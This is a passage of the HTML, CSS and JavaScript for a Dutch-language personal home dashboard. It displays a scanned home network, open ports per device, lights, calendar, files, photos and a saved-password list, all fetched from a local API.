.sidebar-logo {
|
||||||
|
padding: 0 20px 20px; font-size: 1.1rem;
|
||||||
|
font-weight: 700; letter-spacing: -0.02em;
|
||||||
|
border-bottom: 1px solid var(--border); margin-bottom: 12px;
|
||||||
|
}
|
||||||
|
.sidebar-logo span { color: var(--accent); }
|
||||||
|
.nav-item {
|
||||||
|
display: flex; align-items: center; gap: 10px;
|
||||||
|
padding: 10px 20px; cursor: pointer;
|
||||||
|
color: var(--text-dim); transition: var(--transition);
|
||||||
|
font-size: 0.9rem; border-left: 3px solid transparent;
|
||||||
|
user-select: none;
|
||||||
|
}
|
||||||
|
.nav-item:hover { color: var(--text); background: var(--surface2); }
|
||||||
|
.nav-item.active { color: var(--accent); border-left-color: var(--accent); background: rgba(92,158,255,0.06); }
|
||||||
|
.nav-item .icon { font-size: 1.1rem; width: 22px; text-align: center; }
|
||||||
|
.nav-item .badge {
|
||||||
|
margin-left: auto; background: var(--accent);
|
||||||
|
color: #fff; font-size: 0.7rem; padding: 1px 7px;
|
||||||
|
border-radius: 10px; font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Main content ─────────────────────── */
|
||||||
|
.main {
|
||||||
|
flex: 1; display: flex; flex-direction: column;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
.topbar {
|
||||||
|
display: flex; align-items: center; justify-content: space-between;
|
||||||
|
padding: 14px 28px; background: var(--surface);
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
.topbar h1 { font-size: 1.15rem; font-weight: 600; }
|
||||||
|
.topbar-right { display: flex; gap: 16px; align-items: center; font-size: 0.85rem; color: var(--text-dim); }
|
||||||
|
.status-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--success); }
|
||||||
|
.content {
|
||||||
|
flex: 1; overflow-y: auto; padding: 24px 28px;
|
||||||
|
}
|
||||||
|
.tab-content { display: none; }
|
||||||
|
.tab-content.active { display: block; }
|
||||||
|
|
||||||
|
/* ── Cards / Widgets ──────────────────── */
|
||||||
|
.card {
|
||||||
|
background: var(--surface); border: 1px solid var(--border);
|
||||||
|
border-radius: var(--radius); padding: 18px 20px;
|
||||||
|
margin-bottom: 16px;
|
||||||
|
}
|
||||||
|
.card-header {
|
||||||
|
display: flex; align-items: center; justify-content: space-between;
|
||||||
|
margin-bottom: 14px;
|
||||||
|
}
|
||||||
|
.card-header h3 { font-size: 0.95rem; font-weight: 600; color: var(--text-dim); text-transform: uppercase; letter-spacing: 0.05em; }
|
||||||
|
.card-header .count { font-size: 0.8rem; color: var(--text-dim); }
|
||||||
|
.grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 16px; }
|
||||||
|
.grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; }
|
||||||
|
.grid-3 { display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); gap: 12px; }
|
||||||
|
|
||||||
|
/* ── Quick link tiles ─────────────────── */
|
||||||
|
.quick-link {
|
||||||
|
display: flex; align-items: center; gap: 12px;
|
||||||
|
padding: 14px 16px; background: var(--surface2);
|
||||||
|
border: 1px solid var(--border); border-radius: var(--radius);
|
||||||
|
cursor: pointer; transition: var(--transition);
|
||||||
|
text-decoration: none; color: var(--text);
|
||||||
|
}
|
||||||
|
.quick-link:hover { border-color: var(--accent); background: rgba(92,158,255,0.06); transform: translateY(-1px); }
|
||||||
|
.quick-link .ql-icon { font-size: 1.8rem; }
|
||||||
|
.quick-link .ql-info { flex: 1; min-width: 0; }
|
||||||
|
.quick-link .ql-title { font-size: 0.9rem; font-weight: 500; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||||
|
.quick-link .ql-url { font-size: 0.75rem; color: var(--text-dim); }
|
||||||
|
|
||||||
|
/* ── Buttons ──────────────────────────── */
|
||||||
|
.btn {
|
||||||
|
padding: 7px 16px; border-radius: var(--radius-sm);
|
||||||
|
border: 1px solid var(--border); background: var(--surface2);
|
||||||
|
color: var(--text); cursor: pointer; font-size: 0.85rem;
|
||||||
|
transition: var(--transition);
|
||||||
|
}
|
||||||
|
.btn:hover { border-color: var(--accent); }
|
||||||
|
.btn-primary { background: var(--accent); border-color: var(--accent); color: #fff; }
|
||||||
|
.btn-danger { border-color: var(--danger); color: var(--danger); }
|
||||||
|
.btn-sm { padding: 4px 10px; font-size: 0.78rem; }
|
||||||
|
|
||||||
|
/* ── Forms ────────────────────────────── */
|
||||||
|
input, textarea, select {
|
||||||
|
padding: 8px 12px; border-radius: var(--radius-sm);
|
||||||
|
border: 1px solid var(--border); background: var(--surface2);
|
||||||
|
color: var(--text); font-size: 0.85rem; font-family: inherit;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
input:focus, textarea:focus, select:focus {
|
||||||
|
outline: none; border-color: var(--accent);
|
||||||
|
box-shadow: 0 0 0 3px rgba(92,158,255,0.1);
|
||||||
|
}
|
||||||
|
label { display: block; font-size: 0.8rem; color: var(--text-dim); margin-bottom: 4px; }
|
||||||
|
.form-group { margin-bottom: 14px; }
|
||||||
|
.form-row { display: flex; gap: 12px; }
|
||||||
|
.form-row > * { flex: 1; }
|
||||||
|
|
||||||
|
/* ── Network graph placeholder ────────── */
|
||||||
|
.network-node {
|
||||||
|
display: inline-flex; align-items: center; gap: 8px;
|
||||||
|
padding: 10px 14px; background: var(--surface2);
|
||||||
|
border: 1px solid var(--border); border-radius: var(--radius);
|
||||||
|
font-size: 0.85rem; cursor: pointer; transition: var(--transition);
|
||||||
|
margin: 4px;
|
||||||
|
}
|
||||||
|
.network-node:hover { border-color: var(--accent); }
|
||||||
|
.network-node .status { width: 8px; height: 8px; border-radius: 50%; }
|
||||||
|
.network-node .status.online { background: var(--success); }
|
||||||
|
.network-node .status.offline { background: var(--text-dim); }
|
||||||
|
.node-ports { font-size: 0.7rem; color: var(--text-dim); margin-top: 2px; }
|
||||||
|
|
||||||
|
/* ── Calendar ─────────────────────────── */
|
||||||
|
.calendar-grid {
|
||||||
|
display: grid; grid-template-columns: repeat(7, 1fr); gap: 4px;
|
||||||
|
}
|
||||||
|
.cal-day-header {
|
||||||
|
text-align: center; font-size: 0.75rem; color: var(--text-dim);
|
||||||
|
padding: 8px 0; font-weight: 600;
|
||||||
|
}
|
||||||
|
.cal-day {
|
||||||
|
aspect-ratio: 1; display: flex; align-items: center; justify-content: center;
|
||||||
|
border-radius: var(--radius-sm); cursor: pointer;
|
||||||
|
font-size: 0.85rem; transition: var(--transition);
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
.cal-day:hover { background: var(--surface2); }
|
||||||
|
.cal-day.today { border: 2px solid var(--accent); font-weight: 700; }
|
||||||
|
.cal-day.has-event::after {
|
||||||
|
content: ''; position: absolute; bottom: 4px;
|
||||||
|
width: 5px; height: 5px; border-radius: 50%; background: var(--accent);
|
||||||
|
}
|
||||||
|
.cal-day.other-month { color: var(--border); }
|
||||||
|
.event-item {
|
||||||
|
display: flex; align-items: center; gap: 10px;
|
||||||
|
padding: 10px 14px; border-left: 3px solid var(--accent);
|
||||||
|
background: var(--surface2); border-radius: 0 var(--radius-sm) var(--radius-sm) 0;
|
||||||
|
margin-bottom: 6px;
|
||||||
|
}
|
||||||
|
.event-time { font-size: 0.78rem; color: var(--text-dim); min-width: 50px; }
|
||||||
|
.event-title { font-size: 0.88rem; }
|
||||||
|
|
||||||
|
/* ── Password list ────────────────────── */
|
||||||
|
.pw-item {
|
||||||
|
display: flex; align-items: center; gap: 12px;
|
||||||
|
padding: 10px 14px; border: 1px solid var(--border);
|
||||||
|
border-radius: var(--radius-sm); margin-bottom: 6px;
|
||||||
|
transition: var(--transition);
|
||||||
|
}
|
||||||
|
.pw-item:hover { border-color: var(--accent); }
|
||||||
|
.pw-icon { font-size: 1.3rem; }
|
||||||
|
.pw-info { flex: 1; }
|
||||||
|
.pw-title { font-size: 0.88rem; font-weight: 500; }
|
||||||
|
.pw-user { font-size: 0.75rem; color: var(--text-dim); }
|
||||||
|
.pw-actions { display: flex; gap: 6px; }
|
||||||
|
|
||||||
|
/* ── Files table ──────────────────────── */
|
||||||
|
.file-table { width: 100%; border-collapse: collapse; font-size: 0.85rem; }
|
||||||
|
.file-table th {
|
||||||
|
text-align: left; padding: 10px 12px;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
color: var(--text-dim); font-weight: 600; font-size: 0.78rem;
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
.file-table td { padding: 8px 12px; border-bottom: 1px solid var(--border); }
|
||||||
|
.file-table tr:hover td { background: var(--surface2); }
|
||||||
|
|
||||||
|
/* ── Photo grid ───────────────────────── */
|
||||||
|
.photo-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); gap: 10px; }
|
||||||
|
.photo-thumb {
|
||||||
|
aspect-ratio: 1; background: var(--surface2);
|
||||||
|
border-radius: var(--radius-sm); overflow: hidden;
|
||||||
|
cursor: pointer; transition: var(--transition); position: relative;
|
||||||
|
}
|
||||||
|
.photo-thumb:hover { transform: scale(1.03); }
|
||||||
|
.photo-thumb img { width: 100%; height: 100%; object-fit: cover; }
|
||||||
|
.photo-face-badge {
|
||||||
|
position: absolute; top: 6px; right: 6px;
|
||||||
|
background: var(--accent2); color: #fff;
|
||||||
|
font-size: 0.7rem; padding: 2px 8px; border-radius: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Modal ────────────────────────────── */
|
||||||
|
.modal-overlay {
|
||||||
|
display: none; position: fixed; inset: 0;
|
||||||
|
background: rgba(0,0,0,0.7); z-index: 100;
|
||||||
|
align-items: center; justify-content: center;
|
||||||
|
}
|
||||||
|
.modal-overlay.show { display: flex; }
|
||||||
|
.modal {
|
||||||
|
background: var(--surface); border: 1px solid var(--border);
|
||||||
|
border-radius: var(--radius); padding: 24px; max-width: 500px;
|
||||||
|
width: 90%; max-height: 80vh; overflow-y: auto;
|
||||||
|
}
|
||||||
|
.modal h2 { margin-bottom: 16px; font-size: 1.1rem; }
|
||||||
|
.modal-actions { display: flex; gap: 10px; justify-content: flex-end; margin-top: 20px; }
|
||||||
|
|
||||||
|
/* ── Responsive ───────────────────────── */
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.sidebar { width: 56px; }
|
||||||
|
.sidebar .nav-item span:not(.icon) { display: none; }
|
||||||
|
.sidebar .badge { display: none; }
|
||||||
|
.sidebar-logo { font-size: 1.3rem; text-align: center; padding: 0 0 16px; }
|
||||||
|
.sidebar-logo span:last-child { display: none; }
|
||||||
|
.grid-2 { grid-template-columns: 1fr; }
|
||||||
|
.content { padding: 16px; }
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<!-- ═══════════════ SIDEBAR ═══════════════ -->
|
||||||
|
<nav class="sidebar">
|
||||||
|
<div class="sidebar-logo"><span>◈</span> Home<span> Dashboard</span></div>
|
||||||
|
<div class="nav-item active" data-tab="home"><span class="icon">🏠</span><span>Overzicht</span></div>
|
||||||
|
<div class="nav-item" data-tab="network"><span class="icon">🌐</span><span>Netwerk</span><span class="badge" id="net-count">--</span></div>
|
||||||
|
<div class="nav-item" data-tab="systems"><span class="icon">🖥️</span><span>Systemen</span></div>
|
||||||
|
<div class="nav-item" data-tab="config"><span class="icon">⚙️</span><span>Config</span></div>
|
||||||
|
<div class="nav-item" data-tab="control"><span class="icon">🎮</span><span>Control Center</span></div>
|
||||||
|
<div class="nav-item" data-tab="calendar"><span class="icon">📅</span><span>Agenda</span></div>
|
||||||
|
<div class="nav-item" data-tab="files"><span class="icon">📁</span><span>Bestanden</span></div>
|
||||||
|
<div class="nav-item" data-tab="photos"><span class="icon">🖼️</span><span>Foto's</span></div>
|
||||||
|
<div class="nav-item" data-tab="passwords"><span class="icon">🔑</span><span>Wachtwoorden</span></div>
|
||||||
|
<div class="nav-item" data-tab="links"><span class="icon">⚡</span><span>Quick Links</span></div>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<!-- ═══════════════ MAIN ═══════════════ -->
|
||||||
|
<div class="main">
|
||||||
|
<div class="topbar">
|
||||||
|
<h1 id="page-title">Overzicht</h1>
|
||||||
|
<div class="topbar-right">
|
||||||
|
<div class="status-dot" id="status-dot"></div>
|
||||||
|
<span id="clock">--:--:--</span>
|
||||||
|
<span id="date-display"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="content" id="content">
|
||||||
|
<!-- TAB: Home/Overzicht -->
|
||||||
|
<div class="tab-content active" id="tab-home">
|
||||||
|
<div class="grid-2">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>📊 Stats</h3></div>
|
||||||
|
<div class="grid-3" id="home-stats"></div>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>📅 Vandaag</h3></div>
|
||||||
|
<div id="home-today-events"><span style="color:var(--text-dim)">Laden...</span></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>⚡ Quick Links</h3><button class="btn btn-sm" onclick="switchTab('links')">Alle</button></div>
|
||||||
|
<div class="grid-3" id="home-links"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- TAB: Netwerk -->
|
||||||
|
<div class="tab-content" id="tab-network">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>🌐 Thuisnetwerk 192.168.1.0/24</h3><span id="net-summary" style="color:var(--text-dim);font-size:0.85rem">Laden...</span></div>
|
||||||
|
<div style="display:flex; flex-wrap:wrap; gap:6px; margin-bottom:16px" id="network-nodes"></div>
|
||||||
|
<div class="card" style="background:var(--surface2);margin-top:8px">
|
||||||
|
<div class="card-header"><h4>📊 Poort-statistieken</h4></div>
|
||||||
|
<div id="port-stats" style="display:flex; flex-wrap:wrap; gap:8px"></div>
|
||||||
|
</div>
|
||||||
|
<div class="card" style="background:var(--surface2);margin-top:8px">
|
||||||
|
<div class="card-header"><h4>📋 Laatste scans</h4></div>
|
||||||
|
<div id="scan-history" style="color:var(--text-dim);font-size:0.85rem"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- TAB: Systemen -->
|
||||||
|
<div class="tab-content" id="tab-systems">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>🖥️ Alle Systemen</h3>
|
||||||
|
<div style="display:flex;gap:8px">
|
||||||
|
<select id="sys-filter" onchange="loadSystems()" style="width:auto">
|
||||||
|
<option value="">Alle systemen</option>
|
||||||
|
<option value="Windows">Windows</option>
|
||||||
|
<option value="Linux">Linux</option>
|
||||||
|
<option value="ESP32">ESP32 IoT</option>
|
||||||
|
<option value="UniFi">UniFi</option>
|
||||||
|
<option value="Router">Router/Gateway</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="systems-list"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- TAB: Config -->
|
||||||
|
<div class="tab-content" id="tab-config">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>⚙️ Configuratie & Status</h3></div>
|
||||||
|
<div id="config-content"><span style="color:var(--text-dim)">Laden...</span></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- TAB: Control Center -->
|
||||||
|
<div class="tab-content" id="tab-control">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>💡 Lampen</h3></div>
|
||||||
|
<div class="grid-3" id="lights-grid"><span style="color:var(--text-dim)">Laden...</span></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- TAB: Calendar -->
|
||||||
|
<div class="tab-content" id="tab-calendar">
|
||||||
|
<div class="grid-2">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3 id="cal-month-label"></h3>
|
||||||
|
<div style="display:flex; gap:6px">
|
||||||
|
<button class="btn btn-sm" onclick="calShift(-1)"><</button>
|
||||||
|
<button class="btn btn-sm" onclick="calShift(0)">Vandaag</button>
|
||||||
|
<button class="btn btn-sm" onclick="calShift(1)">></button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="calendar-grid" id="calendar-grid"></div>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3 id="cal-date-label">Events</h3>
|
||||||
|
<button class="btn btn-sm btn-primary" onclick="showEventModal()">+ Nieuw</button>
|
||||||
|
</div>
|
||||||
|
<div id="event-list"><span style="color:var(--text-dim)">Selecteer een dag</span></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- TAB: Files -->
|
||||||
|
<div class="tab-content" id="tab-files">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>📁 Bestanden</h3>
|
||||||
|
<input type="text" placeholder="Zoeken..." style="width:200px" oninput="loadFiles(this.value)">
|
||||||
|
</div>
|
||||||
|
<div style="overflow-x:auto"><table class="file-table" id="file-table"></table></div>
|
||||||
|
<div style="margin-top:12px; color:var(--text-dim); font-size:0.82rem" id="file-count"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- TAB: Photos -->
|
||||||
|
<div class="tab-content" id="tab-photos">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>🖼️ Foto's</h3>
|
||||||
|
<select id="photo-filter" onchange="loadPhotos()" style="width:auto">
|
||||||
|
<option value="">Alle foto's</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div class="photo-grid" id="photo-grid"><span style="color:var(--text-dim)">Nog geen foto's geindexeerd</span></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- TAB: Passwords -->
|
||||||
|
<div class="tab-content" id="tab-passwords">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>🔑 Opgeslagen wachtwoorden</h3>
|
||||||
|
<div style="display:flex; gap:8px">
|
||||||
|
<input type="text" placeholder="Zoeken..." style="width:180px" oninput="loadPasswords(this.value)">
|
||||||
|
<button class="btn btn-primary btn-sm" onclick="showPasswordModal()">+ Nieuw</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="password-list"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- TAB: Quick Links -->
|
||||||
|
<div class="tab-content" id="tab-links">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header"><h3>⚡ Favorieten & Quick Links</h3>
|
||||||
|
<button class="btn btn-primary btn-sm" onclick="showLinkModal()">+ Nieuw</button>
|
||||||
|
</div>
|
||||||
|
<div class="grid-3" id="all-links"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- ═══════════════ MODALS ═══════════════ -->
|
||||||
|
<div class="modal-overlay" id="modal-overlay">
|
||||||
|
<div class="modal" id="modal-content"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// ═══════════ STATE ═══════════
|
||||||
|
const API = '/api/dashboard';
|
||||||
|
let activeTab = 'home';
|
||||||
|
let calYear, calMonth, calSelectedDate;
|
||||||
|
|
||||||
|
// ═══════════ NAVIGATION ═══════════
|
||||||
|
document.querySelectorAll('.nav-item').forEach(item => {
|
||||||
|
item.addEventListener('click', () => switchTab(item.dataset.tab));
|
||||||
|
});
|
||||||
|
|
||||||
|
function switchTab(tab) {
|
||||||
|
activeTab = tab;
|
||||||
|
document.querySelectorAll('.nav-item').forEach(n => n.classList.remove('active'));
|
||||||
|
document.querySelector(`.nav-item[data-tab="${tab}"]`)?.classList.add('active');
|
||||||
|
document.querySelectorAll('.tab-content').forEach(c => c.classList.remove('active'));
|
||||||
|
document.getElementById(`tab-${tab}`)?.classList.add('active');
|
||||||
|
document.getElementById('page-title').textContent =
|
||||||
|
document.querySelector(`.nav-item[data-tab="${tab}"] span:last-child`)?.textContent || tab;
|
||||||
|
loadTab(tab);
|
||||||
|
}
|
||||||
|
|
||||||
|
function loadTab(tab) {
|
||||||
|
switch(tab) {
|
||||||
|
case 'home': loadOverview(); break;
|
||||||
|
case 'network': loadNetwork(); break;
|
||||||
|
case 'systems': loadSystems(); break;
|
||||||
|
case 'config': loadConfig(); break;
|
||||||
|
case 'control': loadLights(); break;
|
||||||
|
case 'calendar': loadCalendar(); break;
|
||||||
|
case 'files': loadFiles(); break;
|
||||||
|
case 'photos': loadPhotos(); break;
|
||||||
|
case 'passwords': loadPasswords(); break;
|
||||||
|
case 'links': loadLinks(); break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ CLOCK ═══════════
|
||||||
|
function updateClock() {
|
||||||
|
const now = new Date();
|
||||||
|
document.getElementById('clock').textContent = now.toLocaleTimeString('nl-NL');
|
||||||
|
document.getElementById('date-display').textContent = now.toLocaleDateString('nl-NL', {weekday:'long', day:'numeric', month:'long'});
|
||||||
|
}
|
||||||
|
setInterval(updateClock, 1000); updateClock();
|
||||||
|
|
||||||
|
// ═══════════ OVERVIEW ═══════════
|
||||||
|
async function loadOverview() {
|
||||||
|
try {
|
||||||
|
const r = await fetch(`${API}/overview`); const d = await r.json();
|
||||||
|
document.getElementById('home-stats').innerHTML = `
|
||||||
|
<div class="card" style="text-align:center"><div style="font-size:2rem">⚡</div><div style="font-size:1.5rem;font-weight:700">${d.favorites_count||0}</div><div style="font-size:0.8rem;color:var(--text-dim)">Favorieten</div></div>
|
||||||
|
<div class="card" style="text-align:center"><div style="font-size:2rem">🌐</div><div style="font-size:1.5rem;font-weight:700">${d.network_devices||0}</div><div style="font-size:0.8rem;color:var(--text-dim)">Netwerk Devices</div></div>
|
||||||
|
<div class="card" style="text-align:center"><div style="font-size:2rem">🔑</div><div style="font-size:1.5rem;font-weight:700">${d.password_count||0}</div><div style="font-size:0.8rem;color:var(--text-dim)">Wachtwoorden</div></div>
|
||||||
|
<div class="card" style="text-align:center"><div style="font-size:2rem">🖼️</div><div style="font-size:1.5rem;font-weight:700">${d.photo_count||0}</div><div style="font-size:0.8rem;color:var(--text-dim)">Foto's</div></div>
|
||||||
|
`;
|
||||||
|
// Update sidebar network count
|
||||||
|
document.getElementById('net-count').textContent = d.network_devices || '--';
|
||||||
|
const todayEv = (d.today_events||[]).map(e => `<div class="event-item"><span class="event-time">${e.event_start?.split('T')[1]?.substring(0,5)||'--:--'}</span><span class="event-title">${esc(e.title)}</span></div>`).join('') || '<span style="color:var(--text-dim)">Geen events vandaag</span>';
|
||||||
|
document.getElementById('home-today-events').innerHTML = todayEv;
|
||||||
|
const links = await fetch(`${API}/favorites`).then(r=>r.json());
|
||||||
|
document.getElementById('home-links').innerHTML = (links||[]).slice(0,6).map(l => `<a class="quick-link" href="${esc(l.url)}" target="_blank"><span class="ql-icon">${l.icon||'⭐'}</span><div class="ql-info"><div class="ql-title">${esc(l.title)}</div><div class="ql-url">${esc(l.url)}</div></div></a>`).join('');
|
||||||
|
} catch(e) { console.error(e); }
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ NETWORK (live uit Neo4j) ═══════════
|
||||||
|
async function loadNetwork() {
|
||||||
|
try {
|
||||||
|
const r = await fetch(`${API}/network`);
|
||||||
|
if (!r.ok) throw new Error('API niet beschikbaar');
|
||||||
|
const d = await r.json();
|
||||||
|
|
||||||
|
document.getElementById('net-summary').textContent =
|
||||||
|
`${d.summary.total_devices} devices • ${d.summary.total_ports} unieke poorten`;
|
||||||
|
|
||||||
|
// Device nodes
|
||||||
|
document.getElementById('network-nodes').innerHTML = (d.devices||[]).map(dev => {
|
||||||
|
const osIcon = dev.os_guess.includes('Windows') ? '🪟' :
|
||||||
|
dev.os_guess.includes('ESP32') ? '📡' :
|
||||||
|
dev.os_guess.includes('Router') ? '📶' :
|
||||||
|
dev.os_guess.includes('UniFi') ? '📡' :
|
||||||
|
dev.os_guess.includes('Home Assistant') ? '🏠' :
|
||||||
|
dev.os_guess.includes('Synology') ? '🗄️' :
|
||||||
|
dev.os_guess.includes('Linux') ? '🐧' : '💻';
|
||||||
|
return `
|
||||||
|
<div class="network-node" onclick="showSystemDetail('${dev.ip}')" title="Klik voor details">
|
||||||
|
<div class="status online"></div>
|
||||||
|
<div><strong>${osIcon} ${esc(dev.hostname||dev.ip)}</strong><br>
|
||||||
|
<span class="node-ports">${dev.ip} • ${(dev.open_ports||[]).join(', ')||'geen open poorten'}</span></div>
|
||||||
|
</div>`;
|
||||||
|
}).join('');
|
||||||
|
|
||||||
|
// Poort stats
|
||||||
|
document.getElementById('port-stats').innerHTML = (d.summary.top_ports||[]).map(p => `
|
||||||
|
<div class="network-node" style="cursor:default">
|
||||||
|
<span style="font-weight:600">:${p.port}</span>
|
||||||
|
<span style="font-size:0.75rem;color:var(--text-dim)">${p.count}x</span>
|
||||||
|
</div>
|
||||||
|
`).join('');
|
||||||
|
|
||||||
|
// Scan history
|
||||||
|
document.getElementById('scan-history').innerHTML = (d.scan_history||[]).map(s => `
|
||||||
|
<div style="margin-bottom:4px">📅 ${(s.timestamp||'').substring(0,16).replace('T',' ')} — ${s.id} — ${s.hosts_active} hosts</div>
|
||||||
|
`).join('') || 'Geen scan historie';
|
||||||
|
|
||||||
|
// Update sidebar badge
|
||||||
|
document.getElementById('net-count').textContent = d.summary.total_devices;
|
||||||
|
|
||||||
|
} catch(e) {
|
||||||
|
document.getElementById('network-nodes').innerHTML =
|
||||||
|
'<span style="color:var(--danger)">Kan netwerkdata niet laden. Draait de web server met Neo4j?</span>';
|
||||||
|
console.error(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ SYSTEMS ═══════════
|
||||||
|
async function loadSystems() {
|
||||||
|
try {
|
||||||
|
const filter = document.getElementById('sys-filter')?.value || '';
|
||||||
|
const url = filter ? `${API}/systems?os=${encodeURIComponent(filter)}` : `${API}/systems`;
|
||||||
|
const systems = await fetch(url).then(r => r.json());
|
||||||
|
|
||||||
|
document.getElementById('systems-list').innerHTML = systems.map(s => {
|
||||||
|
const ports = (s.open_ports||[]).map(p => {
|
||||||
|
let svc = '';
|
||||||
|
const common = {22:'SSH',53:'DNS',80:'HTTP',443:'HTTPS',445:'SMB',3000:'Grafana',3306:'MySQL',3389:'RDP',5000:'DSM',5432:'PostgreSQL',5433:'PostgreSQL',8000:'HTTP',8080:'HTTP',8123:'HA API',8443:'HTTPS',9000:'Portainer',9443:'UniFi',49153:'Neo4j',49154:'Neo4j Browser'};
|
||||||
|
if (common[p]) svc = common[p];
|
||||||
|
return `<span style="background:var(--surface2);padding:2px 8px;border-radius:4px;font-size:0.78rem;margin:2px">:${p}${svc?' '+svc:''}</span>`;
|
||||||
|
}).join('');
|
||||||
|
|
||||||
|
const osIcon = s.os_guess?.includes('Windows') ? '🪟' :
|
||||||
|
s.os_guess?.includes('ESP32') ? '📡' :
|
||||||
|
s.os_guess?.includes('Router') ? '📶' :
|
||||||
|
s.os_guess?.includes('UniFi') ? '📡' :
|
||||||
|
s.os_guess?.includes('Home Assistant') ? '🏠' :
|
||||||
|
s.os_guess?.includes('Synology') ? '🗄️' :
|
||||||
|
s.os_guess?.includes('Stofzuiger') ? '🧹' :
|
||||||
|
s.os_guess?.includes('Linux') ? '🐧' : '💻';
|
||||||
|
|
||||||
|
return `
|
||||||
|
<div class="pw-item" style="cursor:pointer" onclick="showSystemDetail('${s.ip}')">
|
||||||
|
<span style="font-size:1.5rem">${osIcon}</span>
|
||||||
|
<div class="pw-info">
|
||||||
|
<div class="pw-title">${esc(s.hostname||s.ip)} <span style="font-size:0.75rem;color:var(--text-dim)">${s.ip}</span></div>
|
||||||
|
<div style="font-size:0.78rem;color:var(--text-dim)">${esc(s.os_guess||'Onbekend')}${s.mac?' • MAC: '+s.mac:''}</div>
|
||||||
|
<div style="margin-top:4px">${ports||'<span style="color:var(--text-dim)">geen open poorten</span>'}</div>
|
||||||
|
</div>
|
||||||
|
<span style="color:var(--text-dim);font-size:0.75rem">${s.port_count} poorten</span>
|
||||||
|
</div>`;
|
||||||
|
}).join('') || '<span style="color:var(--text-dim)">Geen systemen gevonden</span>';
|
||||||
|
|
||||||
|
} catch(e) {
|
||||||
|
document.getElementById('systems-list').innerHTML =
|
||||||
|
'<span style="color:var(--danger)">Kan systemen niet laden. Is de Neo4j database bereikbaar?</span>';
|
||||||
|
console.error(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ SYSTEM DETAIL ═══════════
|
||||||
|
async function showSystemDetail(ip) {
|
||||||
|
try {
|
||||||
|
const sys = await fetch(`${API}/systems/${ip}`).then(r => r.json());
|
||||||
|
const portsHtml = (sys.ports||[]).map(p => `
|
||||||
|
<tr><td>:${p.port}</td><td>${p.service||'?'}</td><td style="color:var(--text-dim);font-size:0.8rem">${esc(p.banner||'')}</td></tr>
|
||||||
|
`).join('');
|
||||||
|
|
||||||
|
document.getElementById('modal-content').innerHTML = `
|
||||||
|
<h2>🖥️ ${esc(sys.hostname||sys.ip)}</h2>
|
||||||
|
<div style="display:grid;grid-template-columns:120px 1fr;gap:8px;margin:16px 0;font-size:0.9rem">
|
||||||
|
<div style="color:var(--text-dim)">IP</div><div><strong>${sys.ip}</strong></div>
|
||||||
|
<div style="color:var(--text-dim)">MAC</div><div>${sys.mac||'onbekend'}</div>
|
||||||
|
